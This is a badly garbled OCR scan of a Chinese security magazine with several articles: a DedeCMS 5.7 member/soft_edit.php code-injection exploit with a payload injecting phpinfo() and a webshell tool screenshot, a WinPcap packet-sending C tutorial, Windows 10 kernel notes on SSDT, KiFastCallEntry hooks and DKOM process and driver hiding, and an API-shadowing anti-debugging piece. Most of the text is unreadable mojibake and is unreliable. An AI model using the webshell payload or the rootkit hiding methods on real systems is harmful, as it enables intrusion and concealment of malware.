[SERVER["R fe02372123
[EQUEST_TT '
e

PH P Llcense

& the terms of the PHP License 25 published by the PHP Groug]

J inthe il be' ut WITHOUT ANY WARRANTY: without even the impiied warmanty of MERCH
[ANTABILITY or FITNESS FOR A PAR] R P POSE.

T you did not receive 3 copy of the o have any questions sbout PHP licensing. please contact ficense@php.net.

frnis prog zmsﬁazsuﬂmrzyu can redistribute tand

thértif, isefe.cc (EH] EHE IR REPL SRTE WX O

ﬂEﬂEu/ln:r EWEDILI

AEPAL EAF ALEE

p
4 6
N FHEE magic quotes gpe=On MR, WHEHATAE RIS, Text 52 —ARIL,
B3 N “ http://www. isafe. cc}x{/dede:1ink} {dede:a

text\=x"]=0;phpinfo () ;// }xxxx{/dede:a} {dede:link}xxx” , {REBFATHLRII T -
RET —ATH “dedecms 5.7 member/soft edit. php ARG HATIRIE” , FHBE N
TR 8 fin. IXFE—K, FIHXANRIBLE R L T .
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3 E EXPLOIT ATTACK & DEFENCE
“4 im F B B ) EESRE ) MANF ) ra

8 dedecms 5. T member/soft_edit.php fEI04T

H(gpc:of £R) http://www. isafe.cc... E|:|

File Help
UFL |h'ttp:f/‘test. izafe. cc:2217/dedecms_ghk_5. 7/
W bl 55 e R AT L GetiebShell
Cookie: |]JedeUserI]]:8; DedellzerID_ clMAS=3150b1FceRaeaf?h; DedeLoginTime=1409395405; Dedelogi: > %—Aﬁzﬂﬂ
= Il
i A JaiER: |blon %:ef%mm
7
%3 dedecms 5.7 member/soft_edit.php {EIBITHRIA (gpc: of fRE) http://www._i=afe.cc... |,
File Help
TTREL |h't'tp://tes't. isafe. cc:1 2217/ dedecms_shlk_ 5. T/
Wb A RS L fRiBihiT | GatWabShall
> Go
%ﬁi;égs http: /ftest. izafe cciZ21T/dedecms_ghl 5. T/member/www. izafe cc. php
4 8
(58)
T
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AR B 5 B S

/K xfeng

WA, BINEHSFIRE TN RRIEMEREBIR, T WS ES R, 7+
A28 PR, 2% 22 4 TN B 0 60 5 B 1) I 405 36 SRR i (L, T A W I 8 A7 HE R 4%
il &, 5, 7E X250 H 23 A BRSO A R SRR B I MR RE TR T A B 2 KN 4%
IR B 2 I E R A BLR . EIXFMEOLR, w75 NI A AN 7] 1) 9 26 3t
SRR AT I R FR AR T

Eetur, 7 DRIP4 A ik e, BRATT AT BB I 75 AR B 2% B I i, R X RS
PR PRI . 1 100Mbits/s [ R 75 2K 1% 99.8Mbits/s IR . 7ERELLE L R IL n] RE
S SR AE 4 5 I 1A) B PN A BT SE IO R8I B, S i S0Mbits/s (167 90 45 3 AN /N
L AT I 300 75 LA P AN B L R (R AT IAT R, UnsE 200us 1) 48 3% — AN Edis
A ISR EDR, B ERE R FTILELN Socket 7 R ICILA BOLH), {HIE 3 H
WinPcap FEH A1 (R 5 Thag, T R 25 ) Hhish /2 X S8 2R

RN, AT E R —FH WinPcap KIZEEIE 06, [FK4E&
WinPcap JEARAD, X X125 53 A1 Hh e 1 -5 S BRI s R0 I A BRIk Th e HEAT VESE 1
o

RIZBIEBHIEREIR

FEMLE M, B RE R AR AR BT S EAF R I T e T R
AR R R TR, DA R e K R 20 SE AR T [P Ak U 3, /5 2R HE R 1)
P o T s B R AR R AR B T A A ) AR S ] I A R A ROAR R S LR
i B g F PSRBT SR AL, A REAE AL RAGE I P e (M Thae . Mk, W20 — SRR
SO AR A L PR R

1. RIEHREEHLATR

XA R IR O, WinPeap $24E 11 51 DU 5 ORI I hm K £ 534 B R 45

S BTG BIORIE AR

> BT R BUCORE MR, EAENZPEEREL TR, TEIERUE
W& e

> HEMITA: BUIOE A SEEG CRIZEIR — A, ERANA FIECE R
Hea ), FFHRYE AR K B R A e RB™ K 20 Bk 2 Bl B (RO RIZE 0 o5

<> SRR BERORE A RAE S AE AR AR b B i ] koA 16 5 M 10,
2R ] et AR S Bl (RO AT T 20,

2. HLHT R
N TP RERB ISR 5 e B RO AE S5, #E WinPeap )% wpcap.dil g2 fit 1R 51
BRAL, AT DR TS (E A A B AT

int pcap_sendpacket(pcap_t *p,u_char *  buf,int size);

PR AURIE A IR HE L — IR e IR

pcap_send_queue* pcap_sendqueue_alloc(u_int memsize);
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PROGRAMMING ANALYSE
‘{4 ﬁ E ﬁ ﬁ ) EE%4E) socket )

bR K BE — AN A A S

int pcap_sendqueue_queue(pcap_send_queue *queue,
const struct pcap_pkthdr *pkt_header,
const u_char *pkt_data);

BRAHE — N R AG B BRI 2 queue SR TE B RIL BAFI I 2 5

u_int pcap_sendqueue_transmit(pcap_t *p,
pcap_send_queue *queue,int sync);

PR B IE — A B B BA B 21 0 25

void pcap_sendqueue_destroy(pcap_send_queue *queue);

PR EORE T — AN I BABAR 52 (1 BT A B U5

X B AN — AR KL k. SRR E N R RIE— R A — X
pcap_sendpacket A%, o A1k AR IEE IR — IR ZBREU RN

int pcap_sendpacket(pcap_t *p, const u_char *buf, int size)

Her, 28 p FAREEEIEEH—A pcap_t RAUEIRST (FIE pcap_open HEFEE
ZIARTT), S8 buf B E T EREEIREMNANES CEEEIRARTEL), S35 size & buf
Frdg gz X R/, R AT 2R E BRI KN T4, TEERHR B S MAC |1
CRC KBS Bt, &l H N 2% 42 LV IR ENAE PP 1H IR I . B4 pcap_sendpacket U1 R AT BL
IR E 0, 5 0ER E-1,

2R ) BLARSE AN

int pcap_sendpacket(pcap_t *p, const u_char *buf, int size)

{
if (p->inject_op(p, buf, size) ==-1)
return (-1);
return (0);
}
BB RSB ER

N Y S M B AR AE D 2 3 W v AR T AR SEBR R A A SR L, ATTER] WinPcap FiTiR
PR BRI 7S 2R A T, RIS IE S AR At 1 SRR A8 F s IR e 5 g B i IR 45 2R

1. RIEBEANEIER

WinPcap & 3% B/ Hods A0 1) S2 8 BEAK T wpcap.dll JFE H i pcap_sendpacket BREL, 1M
ZER B BT Packet.dll JFEFTHRALIY) PacketSendPacket BREL, Aid, A EIE M K%
JEAE A% 25 1] /) NPF_Write B0 1 Fl NDIS J 1) NdisSend BREE R R T AR AD K T
WfAliE it WinPcap $21E1 pcap_sendpacket BRI UK 1% AN BE B — I

/XA S L ) pR K/
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PROGRAMMING ANALYSE
“4 wm R MW ) #E%HE) socket )

void gen_packet(unsigned char *buf,int len);

int main()
{
[*PAF R A IS ERCAR R A FNR, HEFE—DRER SRS, e/

[*RIE KR EL*/

/14 S

int packetlen=100; //ZHEEKE N 100 FH5
unsigned char *buf= (unsigned char *)malloc(packetlen);

memset(buf,0x0,packetlen);

gen_packet(buf,packetlen); //3k #5342 B AR AL, KN packetlen

VIBARGEAE/ TRV 85

if ( (ret=pcap_sendpacket(adhandle,buf,packetlen))==-1)
{

[RGB, BRI, R IR ]

return -1;
}
/*

*EFER TG RC A, RIOE RS WA 53R, ROl e R B B A A7
*/

return 0;

}

WRBIREPAEAT IR T A IGEMMESIERLA G, N T AR, SPITNESBIREZ.
SR 5V FH gen_packet BRI EAE Al — N8 AL, R LI K R 100 N - 5 I A WinPeap
J[#) pcap_sendpacket PR A I (& IA B N 48 |,

Hrp gen_packet BRECG DTAE B, HZSH buf AR ITA IR AN ZS, len
NEERAE R B B S . BRI gen_packet PR ARSEIL AN

void gen_packet(unsigned char *buf,int len)
{
int i=0;

J/EEHRAREE 0 B 5 75 7 H bx MAC #:4E:01:01:01:01:01

for (i=0;i<6;i++)
{
buf[i]=0x01;
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PROGRAMMING ANALYSE
“4 wm R MW ) #E%HE) socket )

}

[/EBHRAEE 6 B 11 T HEFTYE MAC Hihk:02:02:02:02:02
for (i=6;i<12;i++)
{
buf[i]=0x02;
}

JIAEEARAREE 12 3 13 FATEA YRR Oxed, TEARAISEBRE X
buf[12]=0xc;
buf[13]=0xd;

[IWER 14 FAITTIRIEABER WA, M o TFERI6IE, H%
for(i=14;i<len;i++)
{
bufli]=i-14;
}
}

£ LI AR GIRE P R ] 1 T FIARS 2 e A B L, B B B2 100 715

/1By 100 715
int packetlen=100;
/5y BL N A

unsigned char *buf= (unsigned char *)malloc(packetlen);
/IR

memset(buf,0x0,packetlen);

/17 B AL

gen_packet(buf,packetlen);

AR o 28 A P Bl L A U 1 B
0101010101010202020202020c0d000102...5455

“ ~ J ~ N ~ J
HARMACH BEMACHNE  PRBCRAE gm pygs
K 1R R HdE

BAIEUL, AR M2 B SCBrEI B Bte 0 A BN 5 AR TR . BRATTEEA] Wireshark T
HORBUOZm BIRE 7 BT A B, Seae 4 R 2 fros.
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PROGRAMMING ANALYSE
“4 ﬁ E m ﬁ ) #2E%#H) socket )

4 (Untitled) — Wireshark

File Edit VYiew Go Capture Analyze 3Statistics Help %
BWNN EEXESE A¢roTEIEE RaAQAMN FDH »

Eilter: | | v Expression.. Clear Apply

Ho Time Source . Destination Protocol Info
| 1 0.000000 MS-NLE-PHys 0 TSR

EThernet II

3

Frame 1 (100 bytes on wire, 100 hytes captured)
Ethernet II, Src: MS-NLE-PhysServer-02_02:02:02:02 (02:02:02:02:02:02), Dst: Private_01:01;
= Data (86 b

ODOEOFL011121314151617. ..

| w

0000 |0l 01 01 01 ©1 01 02 02 02 02 02 02 Oc Od [NE

Tata (data data), 6 bytes Packets: 1 Displayed: 1 Marked: 0 Drop--+ | Profile: Default

2 Wireshark Az i) £
M 2 AT, kR 5K 1 —3%, XRRRBIARIG AT

2. ERREBNMEER

TERIE A BRI, & R0E — AN SR, F P 2 8] ) R FR P 75 25— IR
WriteFile RG], LA I8 I AZ IR SRR P BT HEE (I % o T IX 23 5 5109 26 30 10
A KRG BRI, 72 A ORI M i 2% a7 o R 26 i 75 22,
WinPcap $2ft T — X WriteFile R4 MAEIE AN IR E LT RIXZ IR ThRE. 1%H
HRIER DN EERAENAZF SZILE), BT FoCU ) O R B, R RefS 3 T R
FIFETE, At DA B0 ) R IR RCR R Ry e AN iz D g R Ae X B0 60 9 5 1047 8T BRI L WL
M o 2 RG2S 1) (R AR 150 B AN B EE S Rk R Bk S B . Nl
1000, 4, RFHFREP RIE PR BRIGHEE B, 75 N AZIRENRE T T #0K 22 3 5 k0% 1000 X .
USRI, g T A P 2R A ol v T Y 2 A

R, HETRAE Packet.dll FEH FE ML T4l BI4% 11 BB %L PacketSetNumWrites Sk SEIILEE 55 %
DAL, M7E wpcap.dil 25 Hh 5 X6 N R 2T

R RAGEOR WA AR N A% R R IR AN R AL . SRR, fE[send LRE]IE SO
main.cpp HVN I T TH ARG BRI AT,

#include <pcap-int.h>

/*i FH Packet.dll FEFZ L[] PacketSetNumWrites BRI %1% B B 5 K& Ik H+/
//HEH 50 X
PacketSetNumWrites((LPADAPTER)(adhandle->adapter),50);

K8 wpcap.dil B 3 A 1R AL B0 E A AR BT e H, BBl At R g A Packet.dll

FESEHEN] PacketSetNumWrites BECRI EAHNMIME . B1TR~BIFEF, H Wireshark T 5
BWORBIFE T BT ROE s B, Fogs anlEl 3 for.
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PROGRAMMING ANALYSE
“4 ﬁ E m ﬁ ) #2E%#H) socket )

'@ (Untitled) — Wireshark

File Edit Yiew Go Capture Analyze Statistics Help

Beda BEXEE Aes0T L |(EEQacan G20

01:01:01 Ox0cid Ethernet
01:01:01 Ethernet
| >

| private
)2 i Private

Filter: | | + Expression Gllear Aoply
¥o Time Source . Destination Frotocol | Infa e
42 0.000401 MS-MLE-PhysServer-02_02:02 10 private 01:01:01 Ox0cod EThernet II
43 0.000411 MS-MLE-PhysServer-02_02:02 10 private 01:01:01 Ox0cod EThernet II
Sy Vi 44 0. 000430 MS-NLE-FhysSerwver-02_02:02: private_01:01:01 Qx0c0d Ethernet II
EE&%SOU\ 45 0.000435 MS-NLE-PhysServer-02_02:02: Private_01:01:01 Qx0cod Ethernet II
1 48 0.000441 MS-NLE-PhysServer-02_02:02: Private_01:01:01 Dw0cod Ethernet 1T
\ 47 0.000461 MS-NLE-PhysServer-02_02:02: Private_0l:01:01 Ox0c0d Ethernet II
N 48 0.000466 MS-MLE-PhysServer-02_02:02 10 private 01:01:01 Ox0cod EThernet II

- 50 0.000491
S

Data (data), 88 bytes Packets: 50 Displayed: 50 Marked: 0 Dre-- | Profile: Default

K 3 Wireshark BT H2IS s £
ME3FTLLE Y, BIROMMESE AKIZT 50Kk, MAHFECOHAEEEE 11—, &\
LR BIARAS & IERR I

RIREE R 5 4

N T HELFRAE EIH AR IEERE, BAVEH WinPcap $2HEEIARFKIE T, KA H
HIETT I o MR HEAE R : A2 RIETTIESEA IS 10 HAKEED 1514 D F5 1)
Hat, [RRAERIETT I CPU I Grit M2 I & 5 R S B 22 1] ) P 24 I 18] 18] B o

1. Wik—: BREREFEEHIER A
A[E XY pecap_sendpacket PR ZIRE L WA, KLU L2 IORIE IR BRI TIRE, FESL
AR 4 .

for(int i=0;i<sendtimes;i++)//fE 3,  SLELZ X EE K ik
{
[/ B EE . KN max_packet_len
gen_packet(buf, max_packet_len,i);
R IEH B
if ( (ret=pcap_sendpacket(adhandle,buf,max_packet_len)) ==-1)

{
/1 HRIE R

return -1;

Hr K% gen packet IJERL4N T :

void gen packet (unsigned char *buf, int len, int order)

 order HISR G E T EA NI MT S
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FORM AN T dr4, ISR 1514 35 BB B B 2 A&+ /3K

send.exe 100000

MO BRI 4 Fros, PR AR A B B 2 TR P 8 I T TR B
202. 22us.,

(Ontitled) — Wireshark

File Edit ¥iew Go Capture Analyze Statistiecs Help

Boes BEHXEE Ae+pTIELIEBE QAaQBD @ »

Filter: | | ¥ Expression. .. Clear Apply

Ha. . Time Source Dastination Frotocol Infa )
i R A W L I M2=NLD=FTIy 2 220 VED =Wea __ FI TVaLleE_Ul UL UL AU eLIIENTIEL L1
B99090 20.466205  MS-MNLE-PhysSerwver-02_ Private_01:01:01 Ox0c0d  Ethernet II
590901 20.46842%  MS-MLE-PhysSerwver-02_ Private_01:01:01 Ox0c0d  Ethernet II
9809092 20.4666556  MS-MLE-PhysSerwver-02_ Private_01:01:01 Ox0c0d  Ethernet II
980993 20.466851  MS-NLE-PhyssSerwer-02_ Private_01:01:01 Ox0c0d  Ethernet II
99004 20,466970 MS-MNLE-PhysSerwver-02_ Private_01:01:01 Ox0c0d  Ethernet II
590995 20,467174  MS-MNLE-PhysSerwver-02_ Private_01:01:01 Ox0c0d  Ethepgmet II
99995 20.467379 MS-MLE-PhysSerwver-02_ Private_01:01:01 0x0c0d  Ethernefy Ir
99997 20.467574  MS-MLE-PhyssSerwver-02_ Private_01:01:01 Ox0c0d  Ethemnet BI

99998 20.467774  MS-MLE-PhyssSerwver-02_ Private_01l:01:01 ox0cod  gEtherfer IT

GO995 20,467986  MS-MLE-PhysServer-02_ Pr te_01:01:0L1 ETherfnet II
100000 A0, 4658185 S —rLE i e_01 101 0] 0 i EThernet
| 3
* Frame 100000 (1514 bytes on wire, 1514 bytes captured)
# Ethernet II, sSrc: MS-MLE-Physserver-02_02:02:02:02 (02:02:02:02:02:027, Dst: Private_
= Data (1500 bytes)
Data: SCEG0100000102030405060708090A0B0C0D0E0OFIOI11215. ..

||

™
=
|

usuu
0310
0320
0330
0340
0350
0360
0370
0380
0390
03a0
03b0
030
03do
0z3e0 0 o dl dl =
03fo g 8 5 & =1 1] d

Data (data data), 1500 bytes Paet: 100006 Displayed: 100--- [ Proflle: efault .
B 4 O ERi i s £

£

2. A= BEEREENMEEC
Wit pcap. set num write BEL, SEILX A — MR E L Z ORI DhRE, E
ERPARL AT

VB ROR I
pcap_set_num_write(adhandle,sendtimes);
[* TFaREEE A R IE*
int max_packet_len=1514;
unsigned char *buf=(unsigned char *)malloc(max_packet_len);
memeset(buf,0x0,max_packet_len);

[¥IRAFAE ) Bl L x/

gen_packet(buf,max_packet_len);

if ( (ret=pcap_sendpacket(adhandle,buf, max_packet_len)) ==-1)
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{
[/KIE R
return -1;
1
free(buf);

H A K%L gen_packet [JER4NTF:

void gen_packet(unsigned char *buf,int len)

Hort, 280 buf FIRAF it A R Bl B A 7% S48 Ten AR BCE 7 2 IR BN K
ORI T 4, AIMHEREE N 1514 M BB E S AL 10 /7K.

send_n_wpcap.exe 100000

BT B SRR 6 Fron, IR A Sl B T S ] [T RE Y 123, 27us.

W (Untitled) - Wireshark
File Edit View Go Capture Analyze Statistics Help P

e BER2E S @ﬁ*&@?QEIIHQQ@\E} WEBX B

Eilter:l v Expression... Clear apply

Source |Dest1nat1on Protocol  Info
MS=NLB=PHYSServer-u/_ el (vdle_UL UL UXOCUU ELTE
MS-NLB-PhysServegd- u2 Pr1,atp_ﬂ1 ( 0 Ethe
MS-NLB-PhysSeryers Pr1«dtw kl:i Ethe
MS-NLB-P Server~ﬂ7 P Ethe
MS-NLE-P Seryer-02 _ E Ethe
MS-NLB-PhysSerw @r-02_ te_01:( Ethe
MS-NLEB-Rhyssepver-02_ vate_01 :( Ethe
MS-NLB=Plys Server-072_ Private_01:( Ethe
MS-NeB-RPhyeServer-02_ Private_01:( Ethe
MSENLBsPhysServer-02_ Private_01:( Ethe
MS-MLE - P /sServer-02_ Private_01:( Ethe
Server-02_ Private_01:( Ethe

_ Private_01:01:0

® Frame 100000-(1514 bytes on wire, 1514 bytes captured)
® Ethernet II Src: MS-NLB-PhysServer-02_02:02:02:02 (02:02:02:02:02:02), Dst:

5 O

[

e

1500 by byts il Packets: 100000 Displayed: 1000~ | Profile: Deault
Kl 6 0T AR g

MR E S T LR Y, 28— Fh 7 3 (B & Rk BN s A0) B o5 I & 5 (1) CPU

R/b, RIEHEEDR, ERAIMMNERER K. Ak, %07 008k e TTikh Hds e A

%ﬁﬂﬂéﬂ&@m AW E s B 5) -
i b A e R RN, 0 AR B G K R SR RUEAT T VR A, RIS

Data (data),
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BEAT TERENMNA S 204 . AT RRMAREE, X T 4% 2 B E WA A IR R R E R
JUH AT LA B i3 2 0 I e A [ 1) 05 3R A S8 BERIIAIR,  AAITTLE T rh e 6 453 110 SRS
HIEMRE— R =,

YIIE Windows 10 R4 NiZ%Z4L

3/ zc

2014 £ 9 H 30 H, [HEIL—TME AR HIXATF TR fE RS Windows 10, Jf
HT 10 A1 H#EE TIEH T pC M FIHEARTUGAR T . IR Windows 10 R4t 5| A ]
WHET, ERMt TS 3CE, M Xbox 2| PC. FHL. PIRAHEHREFEE. 7o, W
BOLKAT @A NG, PR E RES— AN, Bae RN sk 35 2N [F 2R AL 1
% b, X4 2487 Windows Phone [B = A RGO A 254k .

Windows 10 RTINS AT f5, FREE— B [HK R4 Windows 8.1 JF4¢ F) | Windows
10, 7EIXH, AP0 T a6 58 20 S FOAh s P ARG, IX P vPIN SC J5 IR B 2, RT3k
TN ZE S E S5 BPIZRERER, IEAEFN— T RENNZLL, BE-T2e2Rts
Rootkit ‘EFEAERTRIS b “ It

I (R B S ZRRM D, HIRNE PRSI MR, el R
Giria AT IR 360 %24 LALLM R B AREIE R IE1T T, X N K22 S 3L 17 IK3)
ABRERT RGih IE W 1a1T, FrUBRNIER IR A LEERE T,

B TR . RIS LE Windows XP EESBULH i F Windbg 347 A Hh i i
1E Windows 7/8 FEfINLH1# A VirtualKD+Windbg 347 XHLIAR . X T %8 Windows 10 &
gt, Pkt 7tz 7 BIE LA A — AN AT I, ANE R AE B AT B
R AHA R, FEFEEEUVEOARFTENIES S 7 — R0, REJ7E2 e
FRIZAFTEINLE AN . AT A RS B3R B Windows 10 48, NTiZhkm, R
FPEHE WG S, FEESCHE 7 AR SOr, R s w8 iHlE . AT
R 5 Windows 7 RGUAHLELAER, IAKZHH P M Windows 7 F+ % Windows 10.

YIN %S4 INT Ox2E/SYSENTER J A% A H & KiFastCallEntry
X AT Windows & 4%, f# IR TR (DT 1 Ox2E I #:

2e: 81b72dbe nt!KiSystemService
kd> u 81b72dbe 130
nt!KiSystemService:

81b72e48 €9f5000000 jmp nt!KiFastCallEntry+0xa2 (81b72f42)

AL B, Ox2E TiXf N[ /& KiSystemService #lF2, i[% KiSystemService &K I, & Bk
3|7 NI 4 KiFastCallEntry. KZ)E M Windows 2000 R4t LAJG, #l HF 4R 18 ] SYSENTER &
%7, (HREHE Windows 10 RGAEN, R T 0x2E Il IAK Windows R&iH] IDT £
25T 54K EY).

KT SYSENTER AHOCJGHE, FATE A Z XA, MiHE] KiFastCallEntry bk, 8
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RDMSR 5 WRMSR 54 1] L% 1A32_SYSENTER_CS. 1A32_SYSENTER_ESP. 1A32_SYSENTER_EIP
=S MSR 217 2 3E TR VE, 58 ] RDMSR 7212 BX 1A32_SYSENTER_EIP (0x176) YN,

R4k 3] KiFastCallEntry ik .

kd> rdmsr 176

msr[176] = 00000000°81b72eal
kd> u 81b72eal
nt!KiFastCallEntry:

W gh R,

INT Ox2E/SYSENTER i 43 ¥& H K AT 4 &4k, B AT 314

KiFastCallEntry. Tfj KiFastCallEntry — EL /2 AT A E SN2, BN 360 S5 [E N 22 a3 i
BB AR, T KiFastCallEntry [ REAL R FS Y o 3X BIRATT A B — 1 F a2 X 31 A8 4k«

kd> u KiFastCallEntry+0xe6 120
nt!KiSystemServiceAccessTeb+0x1a:

81b72f86 ff05b0060000 inc dword ptr ds:[6BOh]

81b72f8c 8bf2 mov esi,edx

81b72f8e 33c9 xor ecx,ecx

81b72f90 8b570c mov edx,dword ptr [edi+0Ch]

81b72f93 8b3f mov edi,dword ptr [edi]

81b72f95 8a0c10 mov cl,byte ptr [eax+edx]

81b72f98 8b1487 mov edx,dword ptr [edi+eax*4]

81b72f9b 2bel sub esp,ecx//360 H:4 i

81b72f9d c1e902 shr ecx,2//360 4 ki

81b72fa0 8bfc mov edi,esp// & AL 1

81b72fa2 6457202 test byte ptr [ebp+72h],2

81b72fab 7506 jne nt!KiSystemServiceAccessTeb+0x42 (81b72fae)

81b72fa8 f6456c01 test byte ptr [ebp+6Ch],1

81b72fac 740c je nt!KiSystemServiceCopyArguments (81b72fba)

81b72fae 3b35045dca81 cmp esi,dword ptr [nt!MmUserProbeAddress (81ca5d04)]
/W5 TR

81b72fb4 0f832a020000 jae nt!KiSystemCallExit+0x77 (81b731e4)

XKE, 360 HEABCH IR —H TR T,

WA, ERWERT, SEEWK

ARy BTN RS, MERAERN T, BOVXM AR SEmA 75T
AL, 360 HOEETTT RS4RI B AF — 28, FRATAT DLOGTE — iR e 22 P A R R an iy 22 40 .

SSDT 5 Shadow SSDT (SSSDT)
SSDT 45 SSSDT A& %2 4%k F 5 Rootkit [ “ Lt

kd> dds KeServiceDescriptorTable
8105fc80 80flfcec nt!KiServiceTable
8105fc84 00000000

G2 7, WRIATHE RS
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8105fc88 000001b1

8105fc8c  80f203b4 nt!KiArgumentTable
kd> dps KiServiceTable |11b1

80flfcec 80e76800 nt!NtAccessCheck

LT Windows 7 R 4L SSDT BRI & 0x191 K, % T 0x20 (32) 4.
AR SSSDT, AW S EVEREMM T F—, ATRI—HHUIAIR, ZEERF win32k
WA IR e R Ja A AT Ly 58—, B P GUI HEFE 2 J5 A B Tk B FEAN 1K) SSSDT R 4.

kd> dds KeServiceDescriptorTableShadow
8105fc40 80flfcec nt!KiServiceTable

8105fc44 00000000

8105fc48 000001b1

8105fc4c  80f203b4 nt!KiArgumentTable
8105fc50 8e177000 win32k!W32pServiceTable
8105fc54 00000000

8105fc58 00000441

8105fc5¢  8e178554 win32k!W32pArgumentTable

Hrfr, W32pServiceTable Z R TE T 0x441 /> SSSDT B&1 £, AHHE T Windows 7 2 4t ) SSSDT
PREECE 0x339 ki, ZH T 0x108 (264) o fHEHERNEE AR, U#HE— Gul
HEFE, X H Pl explorer.exe .

kd> lprocess 0 0// & & i %

PROCESS afa946¢c0 Sessionld: 1° Cid: 0e88 Peb: 7f474000 ParentCid: Oelc
DirBase: 3fff2460 ObjectTable: a2752480 HandleCount: <Data Not Accessible>
Image: explorer.exe

kd> .process afa946c0// V)it f2, 4 7= L 1HI Y] PROCESS afa946c0

Implicit process is now afa946c0

kd> dps W32pServiceTable 1441

8e177000 8e1717d4 win32kINtUserGetOwnerTransformedMonitorRect

g LREE, BATTLLESR], AKX Windows 10 RGiXT SSDT S /)N, 2 BH
S L TT RGN T SSSDT MR (U L2 Windows 8 ZE/KIMKAD, HHIE
win32k FUHARIL T A T —E KB, XEURRE T ARG KR 5 5 T AR AL EEBUR R
o FIFEA I BT BTG 1 B DY E AT A S 4245 Rootkit A%, 22 TELE S 1% % Hook,
AR A5G o

HAEEARIRE

B 7 SECE AR (40 Hook SSDT). BEXUXAS (4 Inline Hook KiFastCallEntry) 25% WL
BL2 A, 5—Fh Rootkit # FH A 2 JE DKOM T, 488 F DKOM it 06 200375 28 Hh A 11— 48 Py %
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Hh ) R S5

1. B

X AR FE 77722 ] PsGetCurrentProcess 733 EPROCESS X 4 iI46%l, )
ActiveProcessLinks XU 42, K F| HAx PID I, XA SRR MNEER P2, A BT
FEM BB RFAER, PID f&ME—1, 1R —B A CAE 2 /N EERE 4 A0 R Rk RE 8 4T, B
PLEARE PID SRHI 5.

kd> dt nt!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x0b4 UniqueProcessld : Ptr32 Void//i#F2 ID
+0x0b8 ActiveProcessLinks : _LIST_ENTRY//F2 i X ) 5 %2

+0x170 ImageFileName : [15] UChar//i# 24, Windows 7 H{iF% N 0x16C

2. RIS AR P 3 A
JAELAR 5 R RE AR [, 75 N

kd> dt nt!_DRIVER_OBJECT

+0x014 DriverSection : Ptr32 Void// oK fg 4t

ARFTTEL S, o0t T A R R S ER I 5 R SRR« IRIB IS, ANBRALAR N BT R
FATM A DriverSection S5 #4F ARAE — NIRRT, (HEANZ HAANER NI BE
FIHRZR T, fEonth 7 A P sc & AR, HERE 7ELME oxac a5 7 IKs)
PR DRk, FRATTATLAGani @i, 3] DriverSection X Jm) %3, UL AR 2 R Ik ) 44+,
MEER TP FR 25, ik 3 1 RO AKEN A P A H . ASEB 3 4E Windows 10 R G 324k
AR

48

Windows 10 6% T BUBOH T8 A TR AR, S0 HAF Windows 10 5%
B E IR, W RIS . G200, BRSOk IR R
WOHH R

AT BT R T, Windows 10 RS E M4 28 win32k itk
BeUE T HRATHT LA GUI AL T ORI L. SRS BN 000, AT 1T T
MO, IR, BTN Windows 10 RELIUE— A LBIFIA, FHGS
R A — RS, O RBOK AL B FIHERS . RGR W, 54 55 Rootkit
R L R, LTI F LS
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I API ) SEPL R B R 5T

/R

ERXARE, AL KFHE AR L 220 D HAPT, 55 ANl B2 A o
HAPT? fEIZ 20T, JiFBE— A, B EFRER—Rr, REERRIA? BRA
AN, REGREFT—HF, AR H AR, FIZHA R G & FE A K7 1)
AT, MEhAE EWHSHFHARE, BRG], Bod RS v E 2, #8—2 A kR
B BIFEE L BEAE AT I il T ) 0 ShEWTZR A T, XIER TN MR FE S, 1
HARFTREIL 2 TR B SCRVERE R IE 00, B T A A S H WA, 1 HARk 4 i A
KK R ARRD, X PR PRI . SRR A0 ? DD R R BAT IR, AT LAk
G NTC R RO SR BRI S5 B b, A

(HIZ SR BRAEIE 0 . B AEPAT I, ZE% 2 — iR 2 e MRS, AR A2
W7 PTT AN S T BRI SO T BOR UG, ST 0D SN FO Rk, AEIEEA
W R AT IR A I TR . FW AR E L, B2 — R, B 1T I 1 2R b #0 2 4
FUR WIS, WGk APT XPANKE 2 IX 58 B H APT, A2 SR X At .

VAR KA, A— DRI B AT, By CrackMe, N 44 FIVE
o, s “YEMT DUR, SRR XN RITEEAM? RBEHBRMEE, FA
A RAHE, FTLABT MessageBox, X HAEFRE, Windows 4ife LA MessageBox XA, {H
BAEA APL, EARBEEImERRmESE, REmGEAR, v a4 HHEK2
MessageBoxA B{# MessageBoxW, ANEWEAS, TWiIAL EMHAHA, — AT IHA APL 1)
A, 2 Call i APT £ TAT H X R & (24~ DWORD), —/Mi APT PN HALE . 2
FR—HFEn, HAFAER 0D, Winl& v LB RISH, LA e, —MH Ctrl+N fedk s,
RiEH T RELU, WIFE APT N E1 U AR AR — A

B AUEIN, IXFHETAZ L APT [ 5 VE R SE R IAE BAT IR I L 7 125, BRI J5 2 DUTE
fR% CrackMe #RANECHHMER), AILRAR B ISP ? B E, WP iR e s,
AOASCAT A B Y APT o 3 FLARHR R A8 — MR : XA IR R 1, HOR AR #R
—FEAR, FIARFEA, RAOAHEZEAZC APL, MSCARATER “&5”, B
FEAEWTAZ O APT IJNETVERAEPAT IR . LI FIEOR, HFRE=8.

S, HEIHMR AP, BEIFZEGIE “B 5”7 W0 APL. LALESCNBI, #ifE 2
MessageBoxA I, SRHUVEGIRZFh, BOKRR B %M
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DWORD addrofAPI = (DWORD) GetProcAddress (LoadLibrary (“user32. d117),

"MessageBoxA”) ;

H GetProcAddress AT LASREU RS d11 S APT (fitthhl, FEFEMZEHE NS, &2
HMODULE 2884, & Z AL N APT e dll MR, SRELM 5B WA, —Ffh
GetModuleHandle, —#fi2& LoadLibrary, WA 2 GERFMARHEE, BARAEH
A 2N user32. d11, #EHIGRFHETFHBAZA dll. B FIXMIEUS, BG4
B TR SR i

DWORD addrofAPI = (DWORD)MessageBox;

XFPTVEAE W, ARSI K, C 15 R R 2 Z R B s, R Eh@ i 5
Tl gt T DA R B 5 o — PO R A1 2 0 RS P S 3 A R B, % T A AL AT
APT EANBEFH T

b, HME BB, AFUrRRIRYR, HSRRERE R, El. ZUNDEHIK S
TG, APT BFHRATHE & Hst B R m s B, REENF D ST 4, 5 APT dhids
A B ggEhid %, “BHH” AmEER T, mHREERRTR SR %, Thaem
JERI APT 45— Bi—FE. A BB ARFOARIESR R, BEE#FT (shadow).

AR HIE “B S T, ARG, X R E USROS . a0 SR N =R R S
PRGN E] “Fr 57, D H APL M FEPEB BBt 7. B st R E A ZHl, B
F memepy 5% /& 1 FAERHE, AREILM AR G FIRE SN, H rep mov Z ZE MR AT,
REZFN, T SRR A . X B RS ANMER Ty, S — R S B0 2,
A~ Alloc ZHJ APT (4 VirtualAlloc ) ECHAF I EHIE EATAT? 47, W WHIGE
